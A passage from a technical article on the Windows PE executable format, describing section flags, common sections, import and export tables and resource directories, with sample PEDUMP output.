    The number of relocations in the relocation table for this section \(the PointerToRelocations field from above\). This field seems relevant only for OBJ files. 
`WORD NumberOfLinenumbers`

    The number of line numbers in the line number table for this section \(the PointerToLinenumbers field from above\). 
`DWORD Characteristics`

    What most programmers call flags, the COFF/PE format calls characteristics. This field is a set of flags that indicate the section's attributes \(such as code/data, readable, or writeable,\). For a complete list of all possible section attributes, see the IMAGE\_SCN\_XXX\_XXX \#defines in WINNT.H. Some of the more important flags are shown below: 
> 0x00000020 This section contains code. Usually set in conjunction with the
> executable flag \(0x80000000\).
> 0x00000040 This section contains initialized data. Almost all sections
> except executable and the .bss section have this flag set.
> 0x00000080 This section contains uninitialized data \(for example, the .bss
> section\).
> 0x00000200 This section contains comments or some other type of information.
> A typical use of this section is the .drectve section emitted by the
> compiler, which contains commands for the linker.
> 0x00000800 This section's contents shouldn't be put in the final EXE file.
> These sections are used by the compiler/assembler to pass information to the
> linker.
> 0x02000000 This section can be discarded, since it's not needed by the
> process once it's been loaded. The most common discardable section is the
> base relocations \(.reloc\).
> 0x10000000 This section is shareable. When used with a DLL, the data in this
> section will be shared among all processes using the DLL. The default is for
> data sections to be nonshared, meaning that each process using a DLL gets
> its own copy of this section's data. In more technical terms, a shared
> section tells the memory manager to set the page mappings for this section
> such that all processes using the DLL refer to the same physical page in
> memory. To make a section shareable, use the SHARED attribute at link time.
> For example
[code]

    LINK /SECTION:MYDATA,RWS ...
    
    
[/code]

> tells the linker that the section called MYDATA should be readable,
> writeable, and shared.
> 0x20000000 This section is executable. This flag is usually set whenever the
> "contains code" flag \(0x00000020\) is set.
> 0x40000000 This section is readable. This flag is almost always set for
> sections in EXE files.
> 0x80000000 The section is writeable. If this flag isn't set in an EXE's
> section, the loader should mark the memory mapped pages as read-only or
> execute-only. Typical sections with this attribute are .data and .bss.
> Interestingly, the .idata section also has this attribute set.
Also missing from the PE format is the notion of page tables. The OS/2
equivalent of an IMAGE\_SECTION\_HEADER in the LX format doesn't point
directly to where the code or data for a section can be found in the file.
Instead, it refers to a page lookup table that specifies attributes and the
locations of specific ranges of pages within a section. The PE format
dispenses with all that, and guarantees that a section's data will be stored
contiguously within the file. Of the two formats, the LX method may allow more
flexibility, but the PE style is significantly simpler and easier to work
with. Having written file dumpers for both formats, I can vouch for this\!

Another welcome change in the PE format is that the locations of items are
stored as simple DWORD offsets. In the NE format, the location of almost
everything is stored as a sector value. To find the real offset, you need to
first look up the alignment unit size in the NE header and convert it to a
sector size \(typically 16 or 512 bytes\). You then need to multiply the
sector size by the specified sector offset to get an actual file offset. If by
chance something isn't stored as a sector offset in an NE file, it is probably
stored as an offset relative to the NE header. Since the NE header isn't at
the beginning of the file, you need to drag around the file offset of the NE
header in your code. All in all, the PE format is much easier to work with
than the NE, LX, or LE formats \(assuming you can use memory-mapped files\).

## Common Sections

Having seen what sections are in general and where they're located, let's look
at the common sections that you'll find in EXE and OBJ files. The list is by
no means complete, but includes the sections you encounter every day \(even if
you're not aware of it\).

The .text section is where all general-purpose code emitted by the compiler or
assembler ends up. Since PE files run in 32-bit mode and aren't restricted to
16-bit segments, there's no reason to break the code from separate source
files into separate sections. Instead, the linker concatenates all the .text
sections from the various OBJs into one big .text section in the EXE. If you
use Borland C++ the compiler emits its code to a segment named CODE. PE files
produced with Borland C++ have a section named CODE rather than one called
.text. I'll explain this in a minute.

It was somewhat interesting to me to find out that there was additional code
in the .text section beyond what I created with the compiler or used from the
run-time libraries. In a PE file, when you call a function in another module
\(for example, GetMessage in USER32.DLL\), the CALL instruction emitted by the
compiler doesn't transfer control directly to the function in the DLL \(see
Figure 8\). Instead, the call instruction transfers control to a

[code]

    JMP DWORD PTR [XXXXXXXX]
      
    
[/code]

instruction that's also in the .text section. The JMP instruction indirects
through a DWORD variable in the .idata section. This .idata section DWORD
contains the real address of the operating system function entry point. After
thinking about this for a while, I came to understand why DLL calls are
implemented this way. By funneling all calls to a given DLL function through
one location, the loader doesn't need to patch every instruction that calls a
DLL. All the PE loader has to do is put the correct address of the target
function into the DWORD in the .idata section. No call instructions need to be
patched. This is in marked contrast to NE files, where each segment contains a
list of fixups that need to be applied to the segment. If the segment calls a
given DLL function 20 times, the loader must write the address of that
function 20 times into the segment. The downside to the PE method is that you
can't initialize a variable with the true address of a DLL function. For
example, you would think that something like

`<img src='img/Temp2_6177.gif' />`

**Figure 2. Calling a function in another module**

[code]

    FARPROC pfnGetMessage = GetMessage;
    
    
[/code]

would put the address of GetMessage into the variable pfnGetMessage. In 16-bit
Windows, this works, while in Win32 it doesn't. In Win32, the variable
pfnGetMessage will end up holding the address of the JMP DWORD PTR
\[XXXXXXXX\] thunk that I mentioned earlier. If you wanted to call through the
function pointer, things would work as you'd expect. However, if you want to
read the bytes at the beginning of GetMessage, you're out of luck \(unless you
do additional work to follow the .idata "pointer" yourself\). I'll come back
to this topic later, in the discussion of the import table.

Although Borland could have had the compiler emit segments with a name of
.text, it chose a default segment name of CODE. To determine a section name in
the PE file, the Borland linker \(TLINK32.EXE\) takes the segment name from
the OBJ file and truncates it to 8 characters \(if necessary\).

While the difference in the section names is a small matter, there is a more
important difference in how Borland PE files link to other modules. As I
mentioned in the .text description, all calls to OBJs go through a JMP DWORD
PTR \[XXXXXXXX\] thunk. Under the Microsoft system, this thunk comes to the
EXE from the .text section of an import library. Because the library manager
\(LIB32\) creates the import library \(and the thunk\) when you link the
external DLL, the linker doesn't have to "know" how to generate these thunks
itself. The import library is really just some more code and data to link into
the PE file.

The Borland system of dealing with imported functions is simply an extension
of the way things were done for 16-bit NE files. The import libraries that the
Borland linker uses are really just a list of function names along with the
name of the DLL they're in. TLINK32 is therefore responsible for determining
which fixups are to external DLLs, and generating an appropriate JMP DWORD PTR
\[XXXXXXXX\] thunk for it. TLINK32 stores the thunks that it creates in a
section named .icode.

Just as .text is the default section for code, the .data section is where your
initialized data goes. This data consists of global and static variables that
are initialized at compile time. It also includes string literals. The linker
combines all the .data sections from the OBJ and LIB files into one .data
section in the EXE. Local variables are located on a thread's stack, and take
no room in the .data or .bss sections.

The .bss section is where any uninitialized static and global variables are
stored. The linker combines all the .bss sections in the OBJ and LIB files
into one .bss section in the EXE. In the section table, the RawDataOffset
field for the .bss section is set to 0, indicating that this section doesn't
take up any space in the file. TLINK doesn't emit this section. Instead it
extends the virtual size of the DATA section.

.CRT is another initialized data section utilized by the Microsoft C/C++ run-
time libraries \(hence the name\). Why this data couldn't go into the standard
.data section is beyond me.

The .rsrc section contains all the resources for the module. In the early days
of Windows NT, the RES file output of the 16-bit RC.EXE wasn't in a format
that the Microsoft PE linker could understand. The CVTRES program converted
these RES files into a COFF-format OBJ, placing the resource data into a .rsrc
section within the OBJ. The linker could then treat the resource OBJ as just
another OBJ to link in, allowing the linker to not "know" anything special
about resources. More recent linkers from Microsoft appear to be able to
process RES files directly.

The .idata section contains information about functions \(and data\) that the
module imports from other DLLs. This section is equivalent to an NE file's
module reference table. A key difference is that each function that a PE file
imports is specifically listed in this section. To find the equivalent
information in an NE file, you'd have to go digging through the relocations at
the end of the raw data for each of the segments.

The .edata section is a list of the functions and data that the PE file
exports for other modules. Its NE file equivalent is the combination of the
entry table, the resident names table, and the nonresident names table. Unlike
in 16-bit Windows, there's seldom a reason to export anything from an EXE
file, so you usually only see .edata sections in DLLs. When using Microsoft
tools, the data in the .edata section comes to the PE file via the EXP file.
Put another way, the linker doesn't generate this information on its own.
Instead, it relies on the library manager \(LIB32\) to scan the OBJ files and
create the EXP file that the linker adds to its list of modules to link. Yes,
that's right\! Those pesky EXP files are really just OBJ files with a
different extension.

The .reloc section holds a table of base relocations. A base relocation is an
adjustment to an instruction or initialized variable value that's needed if
the loader couldn't load the file where the linker assumed it would. If the
loader is able to load the image at the linker's preferred base address, the
loader completely ignores the relocation information in this section. If you
want to take a chance and hope that the loader can always load the image at
the assumed base address, you can tell the linker to strip this information
with the /FIXED option. While this may save space in the executable file, it
may cause the executable not to work on other Win32-based implementations. For
example, say you built an EXE for Windows NT and based the EXE at 0x10000. If
you told the linker to strip the relocations, the EXE wouldn't run under
Windows 95, where the address 0x10000 is already in use.

It's important to note that the JMP and CALL instructions that the compiler
generates use offsets relative to the instruction, rather than actual offsets
in the 32-bit flat segment. If the image needs to be loaded somewhere other
than where the linker assumed for a base address, these instructions don't
need to change, since they use relative addressing. As a result, there are not
as many relocations as you might think. Relocations are usually only needed
for instructions that use a 32-bit offset to some data. For example, let's say
you had the following global variable declarations:

[code]

    int i;
    int *ptr = &i;
      
    
[/code]

If the linker assumed an image base of 0x10000, the address of the variable i
will end up containing something like 0x12004. At the memory used to hold the
pointer "ptr", the linker will have written out 0x12004, since that's the
address of the variable i. If the loader for whatever reason decided to load
the file at a base address of 0x70000, the address of i would be 0x72004. The
.reloc section is a list of places in the image where the difference between
the linker assumed load address and the actual load address needs to be
factored in.

When you use the compiler directive \_ \_declspec\(thread\), the data that you
define doesn't go into either the .data or .bss sections. It ends up in the
.tls section, which refers to "thread local storage," and is related to the
TlsAlloc family of Win32 functions. When dealing with a .tls section, the
memory manager sets up the page tables so that whenever a process switches
threads, a new set of physical memory pages is mapped to the .tls section's
address space. This permits per-thread global variables. In most cases, it is
much easier to use this mechanism than to allocate memory on a per-thread
basis and store its pointer in a TlsAlloc'ed slot.

There's one unfortunate note that must be added about the .tls section and \_
\_declspec\(thread\) variables. In Windows NT and Windows 95, this thread
local storage mechanism won't work in a DLL if the DLL is loaded dynamically
by LoadLibrary. In an EXE or an implicitly loaded DLL, everything works fine.
If you can't implicitly link to the DLL, but need per-thread data, you'll have
to fall back to using TlsAlloc and TlsGetValue with dynamically allocated
memory.

Although the .rdata section usually falls between the .data and .bss sections,
your program generally doesn't see or use the data in this section. The .rdata
section is used for at least two things. First, in Microsoft linker-produced
EXEs, the .rdata section holds the debug directory, which is only present in
EXE files. \(In TLINK32 EXEs, the debug directory is in a section named
.debug.\) The debug directory is an array of IMAGE\_DEBUG\_DIRECTORY
structures. These structures hold information about the type, size, and
location of the various types of debug information stored in the file. Three
main types of debug information appear: CodeView®, COFF, and FPO. Figure 9
shows the PEDUMP output for a typical debug directory.

**Table 7. A Typical Debug Directory**

**Type**| **Size**| **Address**| **FilePtr**| **Charactr**| **TimeData**|
**Version**|  
---|---|---|---|---|---|---|---  
COFF | 000065C5 | 00000000 | 00009200 | 00000000 | 2CF8CF3D |  | 0.00   
??? | 00000114 | 00000000 | 0000F7C8 | 00000000 | 2CF8CF3D |  | 0.00   
FPO | 000004B0 | 00000000 | 0000F8DC | 00000000 | 2CF8CF3D |  | 0.00   
CODEVIEW | 0000B0B4 | 00000000 | 0000FD8C | 00000000 | 2CF8CF3D |  | 0.00   
The debug directory isn't necessarily found at the beginning of the .rdata
section. To find the start of the debug directory table, use the RVA in the
seventh entry \(IMAGE\_DIRECTORY\_ENTRY\_DEBUG\) of the data directory. The
data directory is at the end of the PE header portion of the file. To
determine the number of entries in the Microsoft linker-generated debug
directory, divide the size of the debug directory \(found in the size field of
the data directory entry\) by the size of an IMAGE\_DEBUG\_DIRECTORY
structure. TLINK32 emits a simple count, usually 1. The PEDUMP sample program
demonstrates this.

The other useful portion of an .rdata section is the description string. If
you specified a DESCRIPTION entry in your program's DEF file, the specified
description string appears in the .rdata section. In the NE format, the
description string is always the first entry of the nonresident names table.
The description string is intended to hold a useful text string describing the
file. Unfortunately, I haven't found an easy way to find it. I've seen PE
files that had the description string before the debug directory, and other
files that had it after the debug directory. I'm not aware of any consistent
method of finding the description string \(or even if it's present at all\).

These .debug$S and .debug$T sections only appear in OBJs. They store the
CodeView symbol and type information. The section names are derived from the
segment names used for this purpose by previous 16-bit compilers \($$SYMBOLS
and $$TYPES\). The sole purpose of the .debug$T section is to hold the
pathname to the PDB file that contains the CodeView information for all the
OBJs in the project. The linker reads in the PDB and uses it to create
portions of the CodeView information that it places at the end of the finished
PE file.

The .drective section only appears in OBJ files. It contains text
representations of commands for the linker. For example, in any OBJ I compile
with the Microsoft compiler, the following strings appear in the .drectve
section:

[code]

    -defaultlib:LIBC -defaultlib:OLDNAMES
      
    
[/code]

When you use \_ \_declspec\(export\) in your code, the compiler simply emits
the command-line equivalent into the .drectve section \(for instance,
"-export:MyFunction"\).

In playing around with PEDUMP, I've encountered other sections from time to
time. For instance, in the Windows 95 KERNEL32.DLL, there are LOCKCODE and
LOCKDATA sections. Presumably these are sections that will get special paging
treatment so that they're never paged out of memory.

There are two lessons to be learned from this. First, don't feel constrained
to use only the standard sections provided by the compiler or assembler. If
you need a separate section for some reason, don't hesitate to create your
own. In the C/C++ compiler, use the \#pragma code\_seg and \#pragma data\_seg.
In assembly language, just create a 32-bit segment \(which becomes a section\)
with a name different from the standard sections. If using TLINK32, you must
use a different class or turn off code segment packing. The other thing to
remember is that section names that are out of the ordinary can often give a
deeper insight into the purpose and implementation of a particular PE file.

## PE File Imports

Earlier, I described how function calls to outside DLLs don't call the DLL
directly. Instead, the CALL instruction goes to a JMP DWORD PTR \[XXXXXXXX\]
instruction somewhere in the executable's .text section \(or .icode section if
you're using Borland C++\). The address that the JMP instruction looks up and
transfers control to is the real target address. The PE file's .idata section
contains the information necessary for the loader to determine the addresses
of the target functions and patch them into the executable image.

The .idata section \(or import table, as I prefer to call it\) begins with an
array of IMAGE\_IMPORT\_DESCRIPTORs. There is one IMAGE\_IMPORT\_DESCRIPTOR
for each DLL that the PE file implicitly links to. There's no field indicating
the number of structures in this array. Instead, the last element of the array
is indicated by an IMAGE\_IMPORT\_DESCRIPTOR that has fields filled with
NULLs. The format of an IMAGE\_IMPORT\_DESCRIPTOR is shown in Figure 10.

**Table 8. IMAGE\_IMPORT\_DESCRIPTOR Format**

`DWORD Characteristics`

    At one time, this may have been a set of flags. However, Microsoft changed its meaning and never bothered to update WINNT.H. This field is really an offset \(an RVA\) to an array of pointers. Each of these pointers points to an IMAGE\_IMPORT\_BY\_NAME structure. 
`DWORD TimeDateStamp`

    The time/date stamp indicating when the file was built. 
`DWORD ForwarderChain`

    This field relates to forwarding. Forwarding involves one DLL sending on references to one of its functions to another DLL. For example, in Windows NT, NTDLL.DLL appears to forward some of its exported functions to KERNEL32.DLL. An application may think it's calling a function in NTDLL.DLL, but it actually ends up calling into KERNEL32.DLL. This field contains an index into FirstThunk array \(described momentarily\). The function indexed by this field will be forwarded to another DLL. Unfortunately, the format of how a function is forwarded isn't documented, and examples of forwarded functions are hard to find. 
`DWORD Name`

    This is an RVA to a NULL-terminated ASCII string containing the imported DLL's name. Common examples are "KERNEL32.DLL" and "USER32.DLL". 
`PIMAGE_THUNK_DATA FirstThunk`

    This field is an offset \(an RVA\) to an IMAGE\_THUNK\_DATA union. In almost every case, the union is interpreted as a pointer to an IMAGE\_IMPORT\_BY\_NAME structure. If the field isn't one of these pointers, then it's supposedly treated as an export ordinal value for the DLL that's being imported. It's not clear from the documentation if you really can import a function by ordinal rather than by name. 
The important parts of an IMAGE\_IMPORT\_DESCRIPTOR are the imported DLL name
and the two arrays of IMAGE\_IMPORT\_BY\_NAME pointers. In the EXE file, the
two arrays \(pointed to by the Characteristics and FirstThunk fields\) run
parallel to each other, and are terminated by a NULL pointer entry at the end
of each array. The pointers in both arrays point to an IMAGE\_IMPORT\_BY\_NAME
structure. Figure 11 shows the situation graphically. Figure 12 shows the
PEDUMP output for an imports table.

`<img src='img/Temp2_6179.gif' />`

**Figure 3. Two parallel arrays of pointers**

**Table 9. Imports Table from an EXE File**

[code]

    GDI32.dll
      Hint/Name Table: 00013064
      TimeDateStamp:   2C51B75B
      ForwarderChain:  FFFFFFFF
      First thunk RVA: 00013214
      Ordn  Name
        48  CreatePen
        57  CreateSolidBrush
        62  DeleteObject
       160  GetDeviceCaps
        //  Rest of table omitted...
    
      KERNEL32.dll
      Hint/Name Table: 0001309C
      TimeDateStamp:   2C4865A0
      ForwarderChain:  00000014
      First thunk RVA: 0001324C
      Ordn  Name
        83  ExitProcess
       137  GetCommandLineA
       179  GetEnvironmentStrings
       202  GetModuleHandleA
        //  Rest of table omitted...
    
      SHELL32.dll
      Hint/Name Table: 00013138
      TimeDateStamp:   2C41A383
      ForwarderChain:  FFFFFFFF
      First thunk RVA: 000132E8
      Ordn  Name
        46  ShellAboutA
    
      USER32.dll
      Hint/Name Table: 00013140
      TimeDateStamp:   2C474EDF
      ForwarderChain:  FFFFFFFF
      First thunk RVA: 000132F0
      Ordn  Name
        10  BeginPaint
        35  CharUpperA
        39  CheckDlgButton
        40  CheckMenuItem
      
        //  Rest of table omitted...
    
    
[/code]

There is one IMAGE\_IMPORT\_BY\_NAME structure for each function that the PE
file imports. An IMAGE\_IMPORT\_BY\_NAME structure is very simple, and looks
like this:

[code]

    WORD    Hint;
    BYTE    Name[?];
    
    
[/code]

The first field is the best guess as to what the export ordinal for the
imported function is. Unlike with NE files, this value doesn't have to be
correct. Instead, the loader uses it as a suggested starting value for its
binary search for the exported function. Next is an ASCIIZ string with the
name of the imported function.

Why are there two parallel arrays of pointers to the IMAGE\_IMPORT\_BY\_NAME
structures? The first array \(the one pointed at by the Characteristics
field\) is left alone, and never modified. It's sometimes called the hint-name
table. The second array \(pointed at by the FirstThunk field\) is overwritten
by the PE loader. The loader iterates through each pointer in the array and
finds the address of the function that each IMAGE\_IMPORT\_BY\_NAME structure
refers to. The loader then overwrites the pointer to IMAGE\_IMPORT\_BY\_NAME
with the found function's address. The \[XXXXXXXX\] portion of the JMP DWORD
PTR \[XXXXXXXX\] thunk refers to one of the entries in the FirstThunk array.
Since the array of pointers that's overwritten by the loader eventually holds
the addresses of all the imported functions, it's called the Import Address
Table.

For you Borland users, there's a slight twist to the above description. A PE
file produced by TLINK32 is missing one of the arrays. In such an executable,
the Characteristics field in the IMAGE\_IMPORT\_DESCRIPTOR \(aka the hint-name
array\) is 0. Therefore, only the array that's pointed at by the FirstThunk
field \(the Import Address Table\) is guaranteed to exist in all PE files. The
story would end here, except that I ran into an interesting problem when
writing PEDUMP. In the never ending search for optimizations, Microsoft
"optimized" the thunk array in the system DLLs for Windows NT \(KERNEL32.DLL
and so on\). In this optimization, the pointers in the array don't point to an
IMAGE\_IMPORT\_BY\_NAME structure—rather, they already contain the address of
the imported function. In other words, the loader doesn't need to look up
function addresses and overwrite the thunk array with the imported function's
addresses. This causes a problem for PE dumping programs that are expecting
the array to contain pointers to IMAGE\_IMPORT\_BY\_NAME structures. You might
be thinking, "But Matt, why don't you just use the hint-name table array?"
That would be an ideal solution, except that the hint-name table array doesn't
exist in Borland files. The PEDUMP program handles all these situations, but
the code is understandably messy.

Since the import address table is in a writeable section, it's relatively easy
to intercept calls that an EXE or DLL makes to another DLL. Simply patch the
appropriate import address table entry to point at the desired interception
function. There's no need to modify any code in either the caller or callee
images. What could be easier?

It's interesting to note that in Microsoft-produced PE files, the import table
is not something wholly synthesized by the linker. All the pieces necessary to
call a function in another DLL reside in an import library. When you link a
DLL, the library manager \(LIB32.EXE or LIB.EXE\) scans the OBJ files being
linked and creates an import library. This import library is completely
different from the import libraries used by 16-bit NE file linkers. The import
library that the 32-bit LIB produces has a .text section and several .idata$
sections. The .text section in the import library contains the JMP DWORD PTR
\[XXXXXXXX\] thunk, which has a name stored for it in the OBJ's symbol table.
The name of the symbol is identical to the name of the function being exported
by the DLL \(for example, \_Dispatch\_Message@4\). One of the .idata$ sections
in the import library contains the DWORD that the thunk dereferences through.
Another of the .idata$ sections has a space for the hint ordinal followed by
the imported function's name. These two fields make up an
IMAGE\_IMPORT\_BY\_NAME structure. When you later link a PE file that uses the
import library, the import library's sections are added to the list of
sections from your OBJs that the linker needs to process. Since the thunk in
the import library has the same name as the function being imported, the
linker assumes the thunk is really the imported function, and fixes up calls
to the imported function to point at the thunk. The thunk in the import
library is essentially "seen" as the imported function.

Besides providing the code portion of an imported function thunk, the import
library provides the pieces of the PE file's .idata section \(or import
table\). These pieces come from the various .idata$ sections that the library
manager put into the import library. In short, the linker doesn't really know
the differences between imported functions and functions that appear in a
different OBJ file. The linker just follows its preset rules for building and
combining sections, and everything falls into place naturally.

## PE File Exports

The opposite of importing a function is exporting a function for use by EXEs
or other DLLs. A PE file stores information about its exported functions in
the .edata section. Generally, Microsoft linker-generated PE EXE files don't
export anything, so they don't have an .edata section. Borland's TLINK32
always exports at least one symbol from an EXE. Most DLLs do export functions
and have an .edata section. The primary components of an .edata section \(aka
the export table\) are tables of function names, entry point addresses, and
export ordinal values. In an NE file, the equivalents of an export table are
the entry table, the resident names table, and the nonresident names table.
These tables are stored as part of the NE header, rather than in distinct
segments or resources.

At the start of an .edata section is an IMAGE\_EXPORT\_DIRECTORY structure
\(see Table 10\). This structure is immediately followed by data pointed to by
fields in the structure.

**Table 10. IMAGE\_EXPORT\_DIRECTORY Format**

`DWORD Characteristics`

    This field appears to be unused and is always set to 0. 
`DWORD TimeDateStamp`

    The time/date stamp indicating when this file was created. 
`WORD MajorVersion`

`WORD MinorVersion`

    These fields appear to be unused and are set to 0. 
`DWORD Name`

    The RVA of an ASCIIZ string with the name of this DLL. 
`DWORD Base`

    The starting ordinal number for exported functions. For example, if the file exports functions with ordinal values of 10, 11, and 12, this field contains 10. To obtain the exported ordinal for a function, you need to add this value to the appropriate element of the AddressOfNameOrdinals array. 
`DWORD NumberOfFunctions`

    The number of elements in the AddressOfFunctions array. This value is also the number of functions exported by this module. Theoretically, this value could be different than the NumberOfNames field \(next\), but actually they're always the same. 
`DWORD NumberOfNames`

    The number of elements in the AddressOfNames array. This value seems always to be identical to the NumberOfFunctions field, and so is the number of exported functions. 
`PDWORD *AddressOfFunctions`

    This field is an RVA and points to an array of function addresses. The function addresses are the entry points \(RVAs\) for each exported function in this module. 
`PDWORD *AddressOfNames`

    This field is an RVA and points to an array of string pointers. The strings are the names of the exported functions in this module. 
`PWORD *AddressOfNameOrdinals`

    This field is an RVA and points to an array of WORDs. The WORDs are the export ordinals of all the exported functions in this module. However, don't forget to add in the starting ordinal number specified in the Base field. 
The layout of the export table is somewhat odd \(see Figure 4 and Table 10\).
As I mentioned earlier, the requirements for exporting a function are a name,
an address, and an export ordinal. You'd think that the designers of the PE
format would have put all three of these items into a structure, and then have
an array of these structures. Instead, each component of an exported entry is
an element in an array. There are three of these arrays \(AddressOfFunctions,
AddressOfNames, AddressOfNameOrdinals\), and they are all parallel to one
another. To find all the information about the fourth function, you need to
look up the fourth element in each array.

`<img src='img/Temp2_6180.gif' />`

**Figure 4. Export table layout**

**Table 11. Typical Exports Table from an EXE File**

[code]

    Name:            KERNEL32.dll
      Characteristics: 00000000
      TimeDateStamp:   2C4857D3
      Version:         0.00
      Ordinal base:    00000001
      # of functions:  0000021F
      # of Names:      0000021F
    
      Entry Pt  Ordn  Name
      00005090     1  AddAtomA
      00005100     2  AddAtomW
      00025540     3  AddConsoleAliasA
      00025500     4  AddConsoleAliasW
      00026AC0     5  AllocConsole
      00001000     6  BackupRead
      00001E90     7  BackupSeek
      00002100     8  BackupWrite
      0002520C     9  BaseAttachCompleteThunk
      00024C50    10  BasepDebugDump
      // Rest of table omitted...
    
    
[/code]

Incidentally, if you dump out the exports from the Windows NT system DLLs
\(for example, KERNEL32.DLL and USER32.DLL\), you'll note that in many cases
there are two functions that only differ by one character at the end of the
name, for instance CreateWindowExA and CreateWindowExW. This is how UNICODE
support is implemented transparently. The functions that end with A are the
ASCII \(or ANSI\) compatible functions, while those ending in W are the
UNICODE version of the function. In your code, you don't explicitly specify
which function to call. Instead, the appropriate function is selected in
WINDOWS.H, via preprocessor \#ifdefs. This excerpt from the Windows NT
WINDOWS.H shows an example of how this works:

[code]

    #ifdef UNICODE
    #define DefWindowProc  DefWindowProcW
    #else
    #define DefWindowProc  DefWindowProcA
    #endif // !UNICODE
      
    
[/code]

## PE File Resources

Finding resources in a PE file is quite a bit more complicated than in an NE
file. The formats of the individual resources \(for example, a menu\) haven't
changed significantly but you need to traverse a strange hierarchy to find
them.

Navigating the resource directory hierarchy is like navigating a hard disk.
There's a master directory \(the root directory\), which has subdirectories.
The subdirectories have subdirectories of their own that may point to the raw
resource data for things like dialog templates. In the PE format, both the
root directory of the resource directory hierarchy and all of its
subdirectories are structures of type IMAGE\_RESOURCE\_DIRECTORY \(see Table
12\).

**Table 12. IMAGE\_RESOURCE\_DIRECTORY Format**

`DWORD Characteristics`

    Theoretically this field could hold flags for the resource, but appears to always be 0. 
`DWORD TimeDateStamp`

    The time/date stamp describing the creation time of the resource. 
`WORD MajorVersion`

`WORD MinorVersion`

    Theoretically these fields would hold a version number for the resource. These field appear to always be set to 0. 
`WORD NumberOfNamedEntries`

The number of array elements that use names and that follow this structure.

`WORD NumberOfIdEntries`

    The number of array elements that use integer IDs, and which follow this structure. 
`IMAGE_RESOURCE_DIRECTORY_ENTRY DirectoryEntries[]`

    This field isn't really part of the IMAGE\_RESOURCE\_DIRECTORY structure. Rather, it's an array of IMAGE\_RESOURCE\_DIRECTORY\_ENTRY structures that immediately follow the IMAGE\_RESOURCE\_DIRECTORY structure. The number of elements in the array is the sum of the NumberOfNamedEntries and NumberOfIdEntries fields. The directory entry elements that have name identifiers \(rather than integer IDs\) come first in the array. 
A directory entry can either point at a subdirectory \(that is, to another
IMAGE\_RESOURCE\_DIRECTORY\), or it can point to the raw data for a resource.
Generally, there are at least three directory levels before you get to the
actual raw resource data. The top-level directory \(of which there's only
one\) is always found at the beginning of the resource section \(.rsrc\). The
subdirectories of the top-level directory correspond to the various types of
resources found in the file. For example, if a PE file includes dialogs,
string tables, and menus, there will be three subdirectories: a dialog
directory, a string table directory, and a menu directory. Each of these type
subdirectories will in turn have ID subdirectories. There will be one ID
subdirectory for each instance of a given resource type. In the above example,
if there are three dialog boxes, the dialog directory will have three ID
subdirectories. Each ID subdirectory will have either a string name \(such as
"MyDialog"\) or the integer ID used to identify the resource in the RC file.
Figure 5 shows a resource directory hierarchy example in visual form. Table 13
shows the PEDUMP output for the resources in the Windows NT CLOCK.EXE.

`<img src='img/Temp2_6176.gif' />`

**Figure 5. Resource directory hierarchy**

**Table 13. Resources Hierarchy for CLOCK.EXE**

[code]

    ResDir (0) Named:00 ID:06 TimeDate:2C3601DB Vers:0.00 Char:0
        ResDir (ICON) Named:00 ID:02 TimeDate:2C3601DB Vers:0.00 Char:0
            ResDir (1) Named:00 ID:01 TimeDate:2C3601DB Vers:0.00 Char:0
                ID: 00000409  Offset: 00000200
            ResDir (2) Named:00 ID:01 TimeDate:2C3601DB Vers:0.00 Char:0
                ID: 00000409  Offset: 00000210
        ResDir (MENU) Named:02 ID:00 TimeDate:2C3601DB Vers:0.00 Char:0
            ResDir (CLOCK) Named:00 ID:01 TimeDate:2C3601DB Vers:0.00 Char:0
                ID: 00000409  Offset: 00000220
            ResDir (GENERICMENU) Named:00 ID:01 TimeDate:2C3601DB Vers:0.00 Char:0
                ID: 00000409  Offset: 00000230
        ResDir (DIALOG) Named:01 ID:01 TimeDate:2C3601DB Vers:0.00 Char:0
            ResDir (ABOUTBOX) Named:00 ID:01 TimeDate:2C3601DB Vers:0.00 Char:0
                ID: 00000409  Offset: 00000240
            ResDir (64) Named:00 ID:01 TimeDate:2C3601DB Vers:0.00 Char:0
                ID: 00000409  Offset: 00000250
        ResDir (STRING) Named:00 ID:03 TimeDate:2C3601DB Vers:0.00 Char:0
            ResDir (1) Named:00 ID:01 TimeDate:2C3601DB Vers:0.00 Char:0
                ID: 00000409  Offset: 00000260
            ResDir (2) Named:00 ID:01 TimeDate:2C3601DB Vers:0.00 Char:0
                ID: 00000409  Offset: 00000270
            ResDir (3) Named:00 ID:01 TimeDate:2C3601DB Vers:0.00 Char:0
                ID: 00000409  Offset: 00000280
        ResDir (GROUP_ICON) Named:01 ID:00 TimeDate:2C3601DB Vers:0.00 Char:0
            ResDir (CCKK) Named:00 ID:01 TimeDate:2C3601DB Vers:0.00 Char:0
                ID: 00000409  Offset: 00000290
        ResDir (VERSION) Named:00 ID:01 TimeDate:2C3601DB Vers:0.00 Char:0
            ResDir (1) Named:00 ID:01 TimeDate:2C3601DB Vers:0.00 Char:0
                ID: 00000409  Offset: 000002A0
      
    
[/code]

As mentioned earlier, each directory entry is a structure of type
IMAGE\_RESOURCE\_DIRECTORY\_ENTRY \(boy, these names are getting long\!\).
Each IMAGE\_RESOURCE\_DIRECTORY\_ENTRY has the format shown in Table 13.

**Table 14. IMAGE\_RESOURCE\_DIRECTORY\_ENTRY Format**

`DWORD Name`

    This field contains either an integer ID or a pointer to a structure that contains a string name. If the high bit \(0x80000000\) is zero, this field is interpreted as an integer ID. If the high bit is nonzero, the lower 31 bits are an offset \(relative to the start of the resources\) to an IMAGE\_RESOURCE\_DIR\_STRING\_U structure. This structure contains a WORD character count, followed by a UNICODE string with the resource name. Yes, even PE files intended for non-UNICODE Win32 implementations use UNICODE here. To convert the UNICODE string to an ANSI string, use the WideCharToMultiByte function. 
`DWORD OffsetToData`

    This field is either an offset to another resource directory or a pointer to information about a specific resource instance. If the high bit \(0x80000000\) is set, this directory entry refers to a subdirectory. The lower 31 bits are an offset \(relative to the start of the resources\) to another IMAGE\_RESOURCE\_DIRECTORY. If the high bit isn't set, the lower 31 bits point to an IMAGE\_RESOURCE\_DATA\_ENTRY structure. The IMAGE\_RESOURCE\_DATA\_ENTRY structure contains the location of the resource's raw data, its size, and its code page. 
To go further into the resource formats, I'd need to discuss the format of
each resource type \(dialogs, menus, and so on\). Covering these topics could
easily fill up an entire article on its own.

## PE File Base Relocations

When the linker creates an EXE file, it makes an assumption about where the
file will be mapped into memory. Based on this, the linker puts the real
addresses of code and data items into the executable file. If for whatever
reason the executable ends up being loaded somewhere else in the virtual
address space, the addresses the linker plugged into the image are wrong. The
information stored in the .reloc section allows the PE loader to fix these
addresses in the loaded image so that they're correct again. On the other
